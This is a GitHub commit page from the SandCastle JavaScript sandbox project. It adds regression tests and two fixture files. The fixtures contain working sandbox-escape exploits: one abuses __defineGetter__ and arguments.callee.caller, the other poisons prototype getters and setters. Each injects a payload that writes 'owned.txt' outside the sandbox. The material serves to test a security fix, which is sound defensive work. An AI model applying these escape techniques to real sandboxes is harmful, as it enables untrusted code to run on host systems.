This repository has been archived by the owner on Feb 25, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 48
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
8 changed files
with
118 additions
and
29 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
var assert = require('assert'), | ||
SandCastle = require('../lib').SandCastle, | ||
fs = require('fs'); | ||
|
||
describe('__defineGetter__-exploit', function () { | ||
it('should not execute untrusted code as a result of __defineGetter_ exploit', function (finished) { | ||
// fix for exploit: https://github.com/bcoe/sandcastle/pull/21 | ||
var sandcastle = new SandCastle(), | ||
script = sandcastle.createScript(fs.readFileSync("./test/fixtures/exploit-getter.txt").toString()); | ||
|
||
script.on('exit', function(err, output) { | ||
setTimeout(function() { | ||
sandcastle.kill(); | ||
assert.equal(fs.existsSync('./owned.txt'), false); | ||
finished(); | ||
}, 2000); | ||
}); | ||
|
||
script.run({parameters: {string: 'hello!'}}); | ||
}); | ||
}); | ||
|
||
describe('arguments.callee-exploit', function() { | ||
it('should not execute untrusted code as a result of walking the arguments.callee chain', function(finished) { | ||
// fix for exploit: https://github.com/bcoe/sandcastle/pull/21 | ||
var sandcastle = new SandCastle(), | ||
script = sandcastle.createScript(fs.readFileSync("./test/fixtures/exploit-callee.txt").toString()); | ||
|
||
setTimeout(function() { | ||
sandcastle.kill(); | ||
assert.equal(fs.existsSync('./owned.txt'), false); | ||
finished(); | ||
}, 2000); | ||
|
||
script.run({parameters: {string: 'hello!'}}); | ||
}); | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
exports.main = function() { | ||
var payload = "var fs = require('fs');fs.writeFileSync('owned.txt', 'You could have been owned now\\n');exports.api = {};"; | ||
var jsonPayload = JSON.stringify({source:";exports.main = function(){exit('ok')};", sourceAPI:payload}); | ||
|
||
var retVal = | ||
{ | ||
f: {} | ||
}; | ||
|
||
retVal.__defineGetter__("f", function() { | ||
throw { | ||
stack: | ||
{ | ||
replace: function() { | ||
var a = {}; | ||
a.__defineGetter__("stack", function() { | ||
// calls Sandbox.executeScript(connection, data) | ||
arguments.callee.caller(null, jsonPayload); | ||
}); | ||
throw a; | ||
} | ||
} | ||
}; | ||
}); | ||
|
||
exit(retVal); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
exports.main = function() { | ||
var origSubstr = parameters.string.__proto__.substr; | ||
var payload = "var fs = require('fs');fs.writeFileSync('owned.txt', 'You could have been owned now\\n');"; | ||
var jsonPayload = JSON.stringify({source:";exports.main = function(){exit('ok')};", sourceAPI:payload}); | ||
var defineGetter = parameters.__defineGetter__; | ||
var defineSetter = parameters.__defineSetter__; | ||
|
||
defineSetter.call(parameters.__proto__, 'data', function(val) { | ||
this.__hidden_data = val; | ||
}); | ||
defineGetter.call(parameters.__proto__, 'data', function() { | ||
var chained = this.__hidden_data; | ||
if (typeof chained != "function") | ||
return chained; | ||
return function(data) { | ||
return chained.call(this, jsonPayload + '\u0000'); | ||
}; | ||
}); | ||
|
||
exit('ok'); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters